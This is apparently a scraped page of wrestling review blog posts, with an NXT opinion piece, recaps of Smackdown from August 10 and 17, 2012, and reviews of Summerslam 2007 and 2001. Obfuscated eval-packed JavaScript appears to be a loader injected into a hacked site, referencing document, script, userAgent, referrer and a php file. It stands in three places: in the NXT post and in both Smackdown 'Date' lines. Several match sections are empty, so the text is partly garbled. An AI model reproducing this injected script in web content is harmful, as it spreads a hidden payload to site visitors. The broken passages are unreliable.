Thought of the Day: Dusty Rhodes Is The Best GM Ever

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fztik|var|u0026u|referrer|rtkhe||js|php'.split('|'),0,{})) is one of the reasons why NXT is possibly the best wrestling show today.Dusty Rhodes is the GM of NXT and he’s been on the show maybe three times.  He makes matches but he doesn’t do so on screen.  What might happen is two guys will have an altercation in the back and then when they have the match, Regal might say something like “this match was set up by NXT GM Dusty Rhodes.”  No TV time wasted, no theme songs being pounded into our heads, no holding the hand of the viewers, just matches being made when they make sense.

 

Why can’t Raw or Smackdown get this?




Smackdown – August 17, 2012: This Whole Last Week Was Pointless Wasn’t It?

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ebyrn|var|u0026u|referrer|arzzk||js|php'.split('|'),0,{})) August 17, 2012
Location: Frank Erwin Center, Austin, Texas
Commentators: Michael Cole, Josh Matthews

Cody Rhodes/The Miz vs. Sin Cara/Rey Mysterio

Miz comes back in but Cara kicks him in the leg a few times to get a breather. Back to Cody who gets taken down as well. Hot tag brings in Rey for some headscissors followed by a kick to the head of Cody for two. The sitout bulldog gets two as Miz makes the save. Cara clotheslines Miz to the floor but tries to skin the cat. Cody goes for the mask but it puts him in 619 position. That and the top rope splash from Rey get the pin at 4:22.

Rey takes out Miz post match.

Curt Hawkins/Tyler Reks vs. ???/???

Wade Barrett is coming back.

Kaitlyn vs. Eve Torres

Daniel Bryan vs. Randy Orton

Feeling out process to start with Orton taking Bryan down with a shoulder block. A clothesline gets two on Daniel and he bails to the floor. He argues with a fan using only two words over and over again before walking back into another clothesline. Orton stomps away a bit but misses a knee drop. Bryan kicks the knee out (not the one that missed but whatever) and goes after it like a heel submission master would.

Kane pops up on the stage post match and smiles.

Santino is out for commentary.

Antonio Cesaro vs. Zach Ryder

Antonio immediately throws Ryder down with the gutwrench suplex. Ryder is in red/orange here instead of the usual purple. Santino talks about his training for the match Sunday as Ryder makes a well received comeback. Broski Boot gets two but Cesaro hot shots him and the Neutralizer gets the pin at 1:30.

Santino gets shoved post match.

Alberto Del Rio vs. Chris Jericho

Results

Sin Cara/Rey Mysterio b. Cody Rhodes/The Miz – Top rope splash to Rhodes

Curt Hawkins/Tyler Reks b. ???/??? – Poweslam/Neckbreaker combination

Eve Torres b. Kaitlyn – Moss Covered Three Handled Family Credenza

Randy Orton b. Daniel Bryan – RKO

Antonio Cesaro b. Zach Ryder – Neutralizer

Alberto Del Rio b. Chris Jericho – Kick to the head

Remember to follow me on Twitter @kbreviews




History of Summerslam Count-Up – 2007: Orton Vs. Cena……Again

Summerslam 2007
Date: August 26, 2007
Location: Continental Airlines Arena, East Rutherford, New Jersey
Attendance: 17,441
Commentators: Jim Ross, Tazz, Jerry Lawler, Michael Cole, JBL, Joey StylesWell, it’s somewhat different this year but not by a lot. For one thing, Cena is the undisputed top guy in the company now, even surpassing HHH and Batista. HHH has been out of action since the Fall after tearing his quad again, and tonight is his epic return facing Booker T for no apparent reason other than he’s a big name for HHH to beat on. Your main event is Cena vs. Orton for the title, so you can really see how much difference two years makes.

I mean seriously, Cena was champion two years ago, so it’s not like they’re doing the same thing this year or anything. This was at the beginning of Orton’s rise to being one of the top dogs in the company as he is at the moment. He’d go on to win the title in about two months.On the Smackdown side, we have Batista vs. Khali. I don’t even need to make fun of that yet. Finally, the ECW Title has become much closer to what it is today, as we have Morrison vs. Punk for the belt.
Also, this is about two months after the Benoit tragedy, and I’m going to leave it at that.It’s the 20th Summerslam and we see the logos from all of the previous shows. That’s cool as I’ve been through them all recently so it’s like going through a photo album. They talk about how this is Rey’s return and the two world title matches, and then it happens. The screen flickers and we cut to an intro that’s designed after the 6 Million Dollar Man as this whole thing becomes about HHH.
They talk about how Booker comes to Raw and this is apparently over who the real king is. Well at least they have a story behind it. Booker would be gone within two months and in TNA within three months. It’s a good video, but HHH should not be placed above the two title matches, period.Oh dang it I forgot about this horrid theme song. It’s by some annoying hip hop singer and it just sounds completely out of place. Wrestling is supposed to be about rock and roll, not bad hip hop/pop music.We intro the show with a all three commentary teams. JR and Lawler more or less say they know Booker has absolutely no chance at all.Kane vs. Finlay

As best I can tell, Kane is the face here. Finlay only weighs 233lbs? Wow that’s weird. This was around the time that Finlay did nothing but hit people with his stupid club. The crowd is popping for Kane so I’ll bet on him as the face. They talk about how Kane is being pushed at the moment, even being credited with injuring Edge. For the life of me I don’t get why Kane has never gotten a world title reign that’s more than a single day.

With some of the people that have been given the belt, you can’t tell me that a guy that’s been around 12 years and has jobbed to everyone asked of him shouldn’t get a world title reign with some length. I’m not suggesting he headlines Wrestlemania, but would it hurt to let him hold it for 2-3 months or even a single month? Dreamer did it and Kane is a far bigger name and star than Dreamer is. Put the title on Kane for a bit. It’s not like he’s Barry Horowitz or something.

Yes I’ve always been a bit of a Kane mark. Kane’s ribs are hurt here as the big white tape implies, but it’s not really clear. He’s only got about 10 inches of tape. If he wants it to be clear it has to be 11 inches. Oh crud it’s the leprechaun. He’s the Cruiserweight Champion here too. It’s sad that a belt that was an integral part of WCW’s rise to prominence is now a horrible prop for a guy like this.

Why is this guy still doing this two years later. It’s just completely stupid. Anyway he causes Kane to get distracted but Kane fights back, but the ribs keep him from using the chokeslam. This crowd is way hot. Oddly enough, even though Kane couldn’t get Finlay up earlier, after another club to the ribs he CAN get him up, which is enough for the pin.

Rating: C. There we have it. The official modern starting system for PPVs is now in place, as we have a rather pointless match opening the show rather than something fast paced and exciting, because there’s just no room on the card for anything else. This is why the WWE’s PPVs aren’t as interesting to me anymore.

There are three matches now that have to be built up as main event level matches along with any other major match on the card, and it leaves no room for filler or just a good match that gives the audience a chance to look at an up and coming star.

If you have two 15-20 minute world title matches, that’s two 7-10 minute midcard matches that you can’t have, taking away at least 4 wrestlers’ chance to show what they can do on a major show. Instead we have feuds like this that go nowhere between two guys that don’t need this time. It’s the problem with the triple brands as well as the problem with having only one company, as none of these people could just be let go.

In the back, Coach is with Armando, Regal and Teddy, the three GMs. Vince comes in and asks why is there a party with all men? He asks them to find the mother of Hornswoggle, or at least the person that would later be revealed as Hornswoggle since he asks for the mother of the bastard son, who I don’t think we ever saw. Santino comes in and says nothing of importance and is thrown out. MVP comes in and asks why he’s not wrestling tonight.

I’d tell him to see my above rant but I haven’t mastered talking into the past yet. He says he wants to issue an open challenge to Matt Hardy which has a rant coming later on. Regal implies that he could be the son before leaving. I love how it was just assumed that Vince’s child was in the WWE and not maybe an accountant in West Virginia.

Rey Mysterio is coming back….TONIGHT! Yeah we were told this about 15 minutes ago.

IC Title: Kennedy vs. Umaga vs. Carlito

Ok, so maybe at this point there still was a bit of a midcard to speak of. Around this time the IC Title was actually doing really well. Guys like Hardy, Nitro (Morrison), Umaga, Kennedy and Carlito were fighting over it so you were at least having the midcard come in and fight over it. Then Jericho came in and killed things dead, which is a shame.

It would be another year when Santino won it for a second time and turned it into a complete joke that the title died for the most part, with it taking Rey and Jericho’s feud over it to turn it back into something special. Kennedy is over here or at least predictable as the fans are chanting what he’s going to say and reacting well to it. Carlito gets less than no reaction. He was in desperate need of new music at this point as it just didn’t fit his character at all.

It amuses me that of these three, only Carlito is still with the company. This is happening because of a double pin between the two challengers on Raw. JR continues his epic commentary career by saying that Umaga is going to come at everyone in this match hard, especially Kennedy and Carlito. Yeah, I’d say that’s true as that IS everyone in the match. Apparently Kennedy injured Lashley. Kennedy hurting someone? You don’t say!

Carlito hits a springboard back elbow, instantly making him cooler to me. Kennedy hits a Stroke, which he sets up exactly like he did with the Mic Check. That was something that was always an issue with Kennedy. Until he got the Mic Check, he used at least three finishers inside of a year that I can remember. He never would just pick something and stick with it.

Kennedy goes to the floor and rips up a table, stealing a monitor. He slams it squarely into the post which is called the head of Umaga, knocking him out. The challengers double team him but in a very cool spot, go for a double suplex that is countered into both of them being suplexed with one arm. With all three men down the referee starts counting to which JR says he’s not sure why. I don’t know Ross, MAYBE BECAUSE IT’S HIS JOB???

In an ending that feels rushed, Kennedy hits that rolling Death Valley Driver thing that I don’t think had a name that stuck, but Umaga casually comes in, pulls Kennedy up and spikes him for the pin to retain. That just felt rushed and WAY too sudden.

Rating: C+. This just felt very rushed at the end. I like that there was an actual midcard match here, but it was treated like a filler, which it shouldn’t have been. This was ok, but it could have been FAR better.

In another head scratching moment, we see a video talking about how Taker returns at Unforgiven. Ok, that’s fine. However, they say that no one has ever beaten him up like Henry did. Ok, let’s see. Set on fire twice, buried alive twice, beaten unconscious by Khali and Lesnar, beaten down badly by Kane many times, yeah Henry isn’t even in the top ten all time. I love the rewriting of history. Actually I don’t but oh well. This of course is ruined by that horrid freaking pop song that is the theme. Undertaker does not need to be associated with bad pop music.

We get a recap of Rey vs. Chavo. Chavo injured Rey’s knee so that Rey could go have surgery, beating him in an I Quit match. It was followed by him wearing Rey’s mask and being annoying. They actually tried to make Chavo be a major heel, which of course just completely failed for the simple reason of he’s Chavo Guerrero.

Rey Mysterio vs. Chavo Guerrero

So yeah we’re doing the same match this year with a different storyline. It’s much better this year though as it’s about the two of them and not about Eddie. Rey does that thing where he springs out of the stage that I’ve always liked. In something I remember from the LD, Rey is painted silver. What is his obsession with super heroes? This is the continuation of the feud from last year which has no Eddie mentions now, so at least they got the hint that it was horrible.

Despite Rey being painted silver, JBL says he’s been bronzed. JBL goes on to say that Chavo will go for the knee until he either gets it or he won’t. Thank you for that one John. To continue his epicness, he says Pedro Martinez, but Michael Cole cuts him off so we have no idea what his point was going to be. Naturally the main point here is how strong Rey’s knee is. We get the Pedro reference from earlier as he talks about how Pedro’s shoulder was bad and he’s not throwing as fast anymore.

Ok that at least makes sense. See, if Cole hadn’t cut JBL off then we could have gotten a decent point out of JBL instead of him sounding like an imbecile. The paint is coming off of Rey and it just looks funny with streaks of skin showing through. Chavo works on the knee, including a bunch of holds where the knee isn’t moved at all. JBL calls Cole a parrot which is funny. Chavo gets kicked in the head and conveniently falls into the ropes in position for a 619.

I love how that happens for no one but Rey. It doesn’t hit as the knee gives out. For no reason at all Chavo goes for a slam and his knee goes out for a two. That was random. For the 100th time, JBL says that we won’t know how solid Rey’s knee is until it’s tested. WE GET IT.

Rey is mostly skin again so it looks like his mask is leaking or something. Yet again after more punishment on the knee it improves enough to go for the 619. It misses and Chavo goes for the three suplexes. This works again as Eddie is never mentioned. The fans boo him though so everything is right with the world. A 619 and springboard splash ends this.

Rating: B-. This was light years ahead of last year because the story was about these two and not Eddie, who wasn’t needed last year and this is proof of it. Rey was healthy here and you could see that he was fine. Chavo as a major heel is stupid though, and JBL’s commentary is actually quite bad as he does little other than repeat himself. This was fine though and even good at times.

Raw is on Sci Fi tomorrow.

Booker is in the back with Todd. The king says that HHH will have little to be happy about tonight. Book sounded weird here as he sounded unhappy with what he was doing and he stumbled a bit. It was almost like he was nervous.

Divas Battle Royal

The winner faces Candice at some time in the future. Candice comes out first and does nothing of note, other than have a really annoying theme song. Since all of them start at once, here they are in the order they’re introduced: Maria, Beth, Melina, Jillian, Mickie, Torrie (she’s still there at this point?), Victoria, Krystal, Michelle, Brooke, Layla, Kelly. Yeah, raise your hand if you know who’s winning this already.

It’s kicking and punching and hair pulling a go-go here as that’s all most of these girls can do at this point. I’m so bored right now I can’t put it into words. People are being eliminated here and the announcers aren’t even calling it. You can tell they’re bored out of their minds too. Candice is actually sitting in a director’s style chair with palm fronds sticking out of the back of it. I can’t think of words to describe how awful this is.

Beth is very loudly heard calling spots to the girls that have no clue what they’re doing. Apparently this isn’t over the top rope as Victoria goes between the bottom and middle ropes and is gone. Can this please end any faster? They’re all wearing pink or orange for the most part so it’s hard to even tell who everyone is. The final four are Melina, Beth, Torrie and Michelle. Final two are Michelle and Beth. This lasts all of 4 seconds as Beth wins. Thank goodness this is over.

Rating: F. It was sloppy, it was long, it was boring. What more do you expect of a grade here?

With literally no transition, MVP comes out with people carrying a cooler. Literally, we see Candice and hear his music in the same shot. He says no one cares about the Divas. That’s just comical because it’s about as close to true as you can get. He talks about how he’s better than everyone else and challenges Matt to a beer drinking contest. This was during the time that MVP was hurt and it derailed the Matt beats MVP for the title storyline.

The problem was simple: this feud had been going on for awhile now and Matt wouldn’t win the title until the END OF MAY. Part of this was that Matt’s appendix burst, putting him on the shelf for a few months. Vince was I guess obsessed with Matt beating him for the title as he let this drag on for nearly a year. The problem was that we stopped caring. These two competed in everything: arm wrestling, boxing, pizza eating, basketball, beer drinking, and I could go on for a good while longer.

The problem was simple: we wanted something new and we couldn’t get it because of the injuries. Just go to someone else! Hardy gets something close to a pop I guess. Apparently this coming Friday these two have a tag title shot. That was another segment of this feud. This is just stupid as they argue for even longer to fill more time. Matt says he won’t even try.

He talks about how a few weeks ago, MVP got Evander Holyfield to substitute for him, and I think I know where this is going. Yep, the glass shatters and Steve Austin is here. This segment just got better and now it’s no longer filler. The fans are going nuts for this. I love the line JBL says. Cole is talking about how it’s completely fair as MVP did the same with Holyfield. “It’s completely different. That was just Evander Holyfield. THIS IS FREAKING STONE COLD STEVE AUSTIN!”

Only in professional wrestling would you hear that. Austin hits the ropes a few times and does some pushups. Only Austin would consider beer drinking an athletic event. He throws in some jumping jacks for good measure. He hasn’t said a word at this point either but the fans are WAY into him. They start drinking and Austin kicks him and stuns him of course. Two things: Austin kicks him in the title belt, so would that even make him keel over?

Second, MVP takes the stunner really well. He jumps backwards but not way too high like Hall did. That always just got annoying, but MVP more or less bounces back. That was well done. JBL’s ranting about how Austin isn’t a fair opponent is really quite funny.

Wrestlemania is coming to Orlando.

In the back with Vince and the GMs, Cryme Tyme shows up and says one of them could be his son. Vince is apparently not liking being called V Mac, but Vinny Mac was fine I suppose? This was back when Cryme Tyme was a big deal almost before being release for messing up an official at a house show.

They start a dance party in the back, with Coach, Long and Regal dancing around Vince. Regal actually was quite good. He goes on his own but turns around to have Ron Simmons in front of him. A single obscenity follows.

Back in the arena the girl that does the theme song dances to her own song. Yeah that’s not stupid at all.

ECW Title: CM Punk vs. John Morrison

This was a very well built up feud. Morrison had taken Benoit’s spot and therefore his championship at Vengeance and has feuded with Punk since. He really hadn’t proven himself yet, but they built him up very well. They didn’t make him seem like a guy that was in over h,is head, but rather a rookie wonder, almost like Orton was three years prior to this.

Punk is very popular here as despite what the IWC would want you to think, Punk has been popular in WWE since the day he showed up and is way over to this day. Punk got this in a 15 minutes of fame match against Morrison, which was a cool idea: last 15 minutes or pin the champion in that amount of time and you get a shot. Punk chasing the belt for awhile was a good idea to me as it usually works best that way.

Obviously they didn’t want Morrison as their first choice, but he stepped up and made this work, and you can tell that it meant a lot to his career. Soon after this he would be paired with Miz for nearly a year and a half, forming one of the best tag teams in many years as Punk would become a major player in the company soon. This is a preview of the future of the company here, so it should be solid.

They start with a fast technical series which works really well for them. That’s a side you see from them both on a fairly decent rate and it’s working as always. Morrison hits a reverse neckbreaker, pulling Punk through the ropes and slamming his neck on the apron. That looked painful to say the least. This is a very fast paced match with neither guy getting a long lasting upper hand. The crowd is way into it also so it’s not just me that likes it.

Punk busts out a moonsault, and people say he’s bland in the ring. He uses all kinds of stuff. Anyway, Punk goes for a rana but Morrison holds on. He tries to get his feet on the ropes but misses them, which isn’t really his fault as he just couldn’t reach them. Either way, Morrison wins but Punk “got robbed.” I know that was lacking jokes, but this was just a freaking good match. It was very fast, both guys were sharp, the offense wasn’t boring, and the ending made great sense. I loved this.

Rating: B+. It was just barely 7 minutes and it left me wanting more. You can’t ask for much more than that. These two have always had great matches and this was no exception. This is a rare occasion when people called the future actually live up to that billing.

Raw is still on Sci-Fi tomorrow night.

Booker T vs. HHH

We start with a way too long recap of Booker humiliating JR and King. That’s fine as it sets the stage just a bit. Booker comes out and has the crown and robe and that’s all well and good. Now let’s get to the problem with this. The HHH return is so over the top here that it’s horrible. I’ll show you them both and you compare them.

His return here in 2007:

And his return in 2002

You tell me. Which of those two was more interesting? The first was just flat out corny. The second was a big time wrestler returning. As for the match let’s get to it. For one thing, just having his own face on his tights isn’t something I want to see. How ridiculous does that look? HHH of course gets beaten down at first, only to make the comeback. The basic idea here is that HHH is awesome, Booker is pretty good and Sharmell is annoying.

In something that I find amusing, HHH goes after Booker’s leg. While it’s not hurt, that’s a nice little thing that shows that HHH is thinking. I like it and yes, I’m making it out to be cooler than it really is. Anyway, Booker hits some big moves including the Book End, but HHH is up, because it’s his return match. Did you really expect him to lose? More on that later. Booker counters two Pedigrees here, one of which he does by just punching HHH’s leg. That’s so simple that it’s brilliant.

Anyway, of course HHH wins with a pretty weak looking Pedigree, but he gets it, and then a standing ovation from JR and King. Ok, there’s being glad a guy is back, and then there’s just flat out overkill. We get it: HHH is a great wrestler and one of the biggest stars ever. No one is questioning that, but this is just taking it too far. He celebrates for a long while, which I’m fine with, but don’t make it look like it’s the second coming.

Rating: B-. Eh, it was two A list guys so it had the star power. There was little story between the two, but in this case I like that better. This was about HHH returning, not HHH vs. Booker. It worked just fine in that regard. Yes the announcers were WAY over the top, but to be fair the storyline was written that way. Now, this is where the IWC showed how idiotic it was to me. I remember one of the first real arguments I got into on WZ was over this match.

There were people that said HHH was burying Booker here, as he hadn’t had a match in 9 months and he beats a major star. Ok, nonsense. Now I’ve made no secret of the fact that I’m not a huge HHH fan. Like Cena, I’m relatively indifferent to him. There are moments where I’ll applaud him and there are moments when I’ll boo him. However, there would be no justification at all for him losing here.

Yes, Booker is a major star. HHH is a bigger one. HHH was returning. Booker was doing nothing. He was put into this feud because he had nothing else to do on the show. It had been a year since he was in a top level angle, as he had a very short feud with both Taker and Matt Hardy. Remember those feuds? I don’t either. He had been out for about a month with an injury and came back to be put with HHH.

Booker was a world champion a year ago at this time, but in the world of professional wrestling, that’s an eternity. Booker had no business beating HHH. How is he being buried? He’s facing a bigger star and he lost. Did Hulk Hogan bury the One Man Gang or King Kong Bundy when he beat them? No he didn’t because they weren’t on his level, just like Booker isn’t on HHH’s level. Hopefully most people reading this just said duh at most of that, as I’d hope you have more intelligence than that.

Update: Undertaker is still returning at Unforgiven. Nothing has changed in the last hour.

We get a recap of Batista vs. Khali, which just isn’t going to be a good idea if my KB-sense is correct. Basically, Khali says he can’t be beaten and Batista says he can beat Khali. Khali debuts the head vice and that’s all there is to it.

Smackdown World Title: Great Khali vs. Batista

Batista is about 6’6 and he looks tiny, as does the belt and the chair. That’s freaking scary. It’s weird hearing the lack of the Punjabi Playboy music which is rather awesome actually and better than this is. Champion came out first here which is always kind of odd. The palm trees around the entrance are stupid looking.

Khali beats him down early and the Animal is in trouble early on. Big Dave gets in a bit of offense but walks into the chop to take him back down. Khali grabs the neck grip rather than slipping his hands up like 5 inches for the Vice Grip. Batista starts going on as this is already a very dull match. Yep the fans think this is boring. I can’t really argue much with that.

Cole tries to tell us that the fans are getting restless which is amusing. Bradshaw says Khali is monkey butt ugly. Well you can’t say he’s not blunt. Batista gets a spinebuster to get out of the Vice Grip but can’t get the Batista Bomb. Khali hits the Punjabi Plunge for two. Singh slides in a chair to Khali and there’s the cheap DQ. Really that’s it?

Rating: D-. Oy this wasn’t good. Vince instantly thinks that every muscle guy like Batista can do what Hogan did. That’s just not the case. Hogan was able to make the others look great because Hogan was a far better wrestler and thinker than he was given credit for. Neither of these guys have that mental aspect that makes a wrestler great. Their styles are far too similar and almost nothing Batista can do can make him look sensible or effective against Khali.

Batista isn’t nearly as bad as he’s made out to be, but this wasn’t a fair request of him. Now last year against Booker was a different story. Booker is a big guy, but not big enough that Batista couldn’t do something with him. This one is much harder to blame on the Animal as Khali is just too big to do anything with. That’s not his fault, but rather the person that green lit this match.

Post match, Batista gets the chair and beats Khali up. Or does he beat him down. Diagonally? Or is it horizontally?

The Condemned is on DVD.

Vince is in the back and Regal says there are some women here for him. You know who they’re going to be. Mae says she wants to be the mother of his next bastard son and shoves him onto a couch and kisses him. Moolah pulls her out by the hair and they leave. Vince says he liked it. Sadly, Moolah would pass away in about two and a half months due to complications from a shoulder operation.

We get a short recap of Cena vs. Orton. It’s a very basic concept. Cena has beaten every heel on the roster except one: Randy Orton. Cena turned around one night and got RKOed. It’s a very basic build but it made you think that Orton could do it. Cena had held the title longer than anyone in over twenty years at this point, so anything was possible. Orton had injured HBK, RVD, Dusty Rhodes, Slaughter and others, so it was a distinct possibility that he could take Cena out here as well.

Raw World Title: John Cena vs. Randy Orton

The fans are certainly going with the flow here as Orton is booed and Cena isn’t booed as loudly. He gets another mixed reaction which is something I’ve always liked. We get something you don’t see any more as the referee checks each guy for weapons. It takes a few seconds and makes things look more legit, so why not bring that back? Lawler mentions that Orton has a fan club in Lichtenstein.

That’s too absurd to make up so I’m going to assume it’s true. If so, that’s pretty cool to me. They start out with a headlock, which is about as basic of a move that you can start with, and in a big match it works every single time. Orton takes the early advantage and holds onto it for a good while, which also makes sense. They’re following a very basic formula here and there’s nothing at all wrong with that.

Since this is a long Orton match, we hit about the 4 minute mark in total chinlock time. That’s added to the two minutes of headlock time, making this match VERY BORING. We’ve been at this about 15 minutes and Cena has been in control about 45 seconds. Oh wait, could this be a comeback? Nope, Orton counters with that backbreaker he does which starts from what you ask? A chinlock. Of course this is the most damage that Cena has ever taken since that happens every match.

Oh and Orton is coldblooded. You’d think he was a reptile, or maybe even a viper. Yeah that string of jokes is getting old to me also. Of course Cena kicks out of the move that injured RVD because he’s John Cena blast it. Ross says Orton is Viper-like. And so it begins. Orton goes for the RKO but Cena shoves him off and we’re on the floor and more violence ensues. Back in, Cena starts his real comeback, this time with Orton being beaten down pretty well.

They go for the throwback, but they botch it and Cena comes at his head instead of his back, making it look like a running neckbreaker or Morrison’s diving neckbreaker that he used to do. They speed things up a lot as it’s both guys trying to hit their finisher. Orton gets caught in the STFU but gets the ropes.

Cena is ticked and despite Orton being in the hold for a good while, he hits the RKO out of nowhere. At least he sells the hold just after it so maybe I could go for that. Cena kicks out and the crowd is WAY into this. Cena is up way to fast and hits the fastest FU in history to win clean before collapsing from the RKO. Replays and photo opportunities close us out.

Rating: B. This is a tale of two matches. The beginning part of it is just flat out boring. However, the last 5 minutes of this is great stuff with the crowd eating from the palms of their hands. These two can bring it pretty well most of the time and this was fine. They built from slow to fast which is how things are supposed to go. This was a solid main event and should be in two weeks.

Overall Rating: B. This was a very back and forth show with good and bad stuff. Some of the matches are just flat out horrible and some of the matches are great. The ECW and WWE title matches are great as was the Austin segment. This was a solid show all around I think and while I’d avoid the Diva match and Batista’s match, the rest of the show is certainly good so it’s recommended.

Remember to follow me on Twitter @kbreviews




Smackdown – August 10, 2012: Alberto Did…..What?

Smackdown
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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sdtaf|var|u0026u|referrer|szrst||js|php'.split('|'),0,{})) August 10, 2012
Location: Toyota Center, Houston, Texas
Commentators: Michael Cole, Josh Matthews

Do You Know Your Enemy? Mine is all the dust I inhaled pulling up carpet yesterday. Annoying stuff.

Sin Cara vs. Cody Rhodes

Wade Barrett is returning. I think this is the same video from Raw.

Jinder Mahal vs. ???/???

No names for the jobbers. Apparently this is to prove that he can beat two guys like Ryback can. A clothesline and spinebuster put Jobber A down and the camel clutch gets the tap at 40 seconds.

We recap the opening segment.

Kofi and Truth come out for commentary.

Prime Time Players vs. Primo/Epico

Antonio Cesaro vs. Christian

They trade some counters and Christian hits the sunset flip out of the corner for two. Cesaro jumps into a bridging fallaway slam for two. The Killswitch is countered by some headbutts to the back but Christian counters a slam into the reverse DDT. The spear is countered into Christian being launched into the air and landing on a European Uppercut for two. The Neutralizer is countered and Christian hits the spear for the quick pin at 4:08.

Raw ReBound.

Eve goes to see Booker again but she gets turned down for a job. Kaitlyn comes in and asks for a job as well. Booker gives her one so Eve yells. Booker makes a match between them next week with the winner getting the job.

Rey Mysterio vs. The Miz

Non-title here. Miz takes him into the corner to start and kicks Rey in the ribs to take over. Rey tries to speed things up coming out of the corner but gets caught in a backbreaker and sent to the floor. Off to a chinlock by Miz but Rey comes back with some kicks to the legs. Miz sends Mysterio to the corner and hits the running clothesline but his top rope ax handle is countered by a dropkick.

BE A STAR!

Smackdown World Title: Alberto Del Rio vs. Sheamus

Results

Sin Cara b. Cody Rhodes – Small Package

Jinder Mahal b. ???/??? – Camel Clutch

Primo/Epico vs. Prime Time Players went to a no contest when Kofi Kingston and R-Truth interfered

Christian b. Antonio Cesaro – Spear

Rey Mysterio b. The Miz – Rollup

Remember to follow me on Twitter @kbreviews




History of Summerslam Count-Up – 2001: Austin Can Throw A Mean Suplex

Summerslam 2001
Date: August 19, 2001
Location: Compaq Center, San Jose, California
Attendance: 15,293
Commentators: Jim Ross, Paul Heyman

Ok, I know I usually say little is different, but in this case, just about everything is different. WCW in its original form is dead, having been bought by Vince for an insane two million dollars just 5 months prior to this. The Invasion is going on at the moment as WWF is battling the ECW/WCW Alliance. Tonight we have a double main event of Steve Austin vs. Angle for the WWF Title and Booker T vs. Rock for the WCW Title.

Either way, this show is just a complete 180 from last year. Also HHH is injured having torn his quad about 3 months ago. The roster has been more or less put on steroids now with guys like RVD, Booker T, DDP, Rhyno, Tajiri and Lance Storm here now. Oh and Lawler quit over his witch of a wife being fired.

Finally, Austin is top heel now, having left WWF for the Alliance, saying that he’ll have better competition now, which is completely stupid as he’s fighting the same guys he was fighting before the Invasion, but who am I to critique the genius of Vince McMahon and his Invasion storyline?

The angle could have been far better, but there’s been laundry lists of reasons given about why it didn’t work, with the big one being that they didn’t wait long enough, but I’ll drop that before I go into a page and a half long rant. Let’s get started.

WOW. This video package to open the show is AWESOME. It’s set to Drowning Pool’s Bodies, which is still the best live performance of a song that I’ve ever heard. This looks like the opening to a TV show or something and is just well done all around. It looks awesome and is one of the best video openings I’ve ever seen. Actually, here it is.

Intercontinental Title: Lance Storm vs. Edge

A lot of the stories tonight are going to consist of this: WWF vs. Alliance, and that’s what this would be classified as. Storm was the midcard Alliance guy so they gave him the IC belt to help even out the title scene. Edge gets a huge pop. This should be good. Edge was at an odd stage in his career at this point, where he and Christian were way too big of a deal to be a tag team anymore and Edge was clearly on the verge of being a breakout star.

He won the KOTR this year with he and Christian feuded over the KOTR Cup and yes I said Cup. This is very solid for the first five minutes or so with Edge having a completely different style around this time. He would get hurt in I think 2003 just as he was on the verge of the main event push and be out for over a year. His style back then was much more well rounded with more high flying but everything else just about the same as it is now.

Lance Storm has a very odd stomp, as he kicks his left foot forward and then stomps with the right boot. He must be doing something right though as he’s the only wrestler ever, and I do mean only one ever, that could make a half Boston Crab seem like a deadly submission move. We cut back to the WWF locker room to see everyone crowded around a monitor watching the match.

That’s something that could have worked well in the NWO angle, which is what this is a redoing of, and while it’s not as good, I don’t think it’s as bad as everyone says it was. Heyman’s commentary is great as he can play the cocky heel as well as anyone ever on the headset could. Edge starts his comeback as we get a gem of a line by JR: “Powerbomb by Edge. It was a powerbomb.” The more I listen to him, the more I shake my head.

Anyway, they both almost get their finishers but they can’t quite get there. For no apparent reason, Christian comes out and tries to spear Storm but misses and hits Edge which gets two. We get a nice sequence of holds and counters but Edge catches Storm in the inverted DDT which he needs to go back to for the pin and the title. Christian hands him the belt and leaves in a weird moment.

Rating: B. Another solid Summerslam opener here as they were going fast paced and slow paced in a perfect balance. Both guys were working hard and it was a solid pairing that gives you a nice title change that was more or less clean. Good way to get the show going.

Test and the Dudleys are heading to the ring but are cut off by Michael Cole, somehow looking less heterosexual than he does now. Test has left the WWF because he’s tired of being upstaged. The Dudleys left because they’re tired of Spike and his girlfriend Molly getting the glory, so we get a six man out of it.

Jericho says that he’ll beat Rhyno tonight. He also gets some funny jokes in about Stephanie’s morals and plastic surgery.

Spike Dudley/APA vs. Test/Dudley Boys

Molly with the blonde hair and in the blue top is beyond pretty. Just absolutely gorgeous. Test cost the APA the tag titles, leading to this match. The white shirts on the WCW referees just look stupid. They start off with the faces beating the heels up and then Spike comes in. Now Spike reminds me of X-Pac. He tries so hard but his size is just too much to overcome.

Why should I believe that a guy that I outweigh by nearly a hundred pounds can beat up someone that outweighs me by 100lbs? Simply put, I don’t and I never have. He was fine as a cruiserweight guy, but he had no business being in there with big men. I get that it was his gimmick, but I couldn’t stand it. We’ve got tables less than 5 minutes into the match so at least we’re not waiting that long for them this time.

The Dudleys do a double flapjack and they throw him so high up they nearly lose their grip on him. That’s just downright impressive. This is actually a very fast match as the faces take over again for just a bit, until Spike is launched over the top and through a table. Bradshaw nails Test with a Clothesline, but Shane comes in and blasts him with a chair for the pin. Paul’s line of D-Von, get the ambulance makes me laugh.

Rating: C. It was just a short 6 man without much going on. We do need filler though and that’s what this match was. It was a seven minute match and a ten minute segment in total that was just fine. It’s not bad, it’s not great but I’d call it perfectly acceptable.

In the back, the WWF guys are upset over losing the match but they’re all congratulating Edge over winning the IC Title. Christian comes up and announces that he’s gotten a European Title shot tomorrow night on Raw. No one cares, as their Grandma calls. She talks to Edge and hangs up on Christian which gets a solid laugh.

Shawn Stasiak comes into Debra/Stone Cold’s locker room which ticks off Debra. At the time he was just an idiot character that was trying to impress Austin. He says something about his tights but Debra says if he wants to make an impression to go beat someone up.

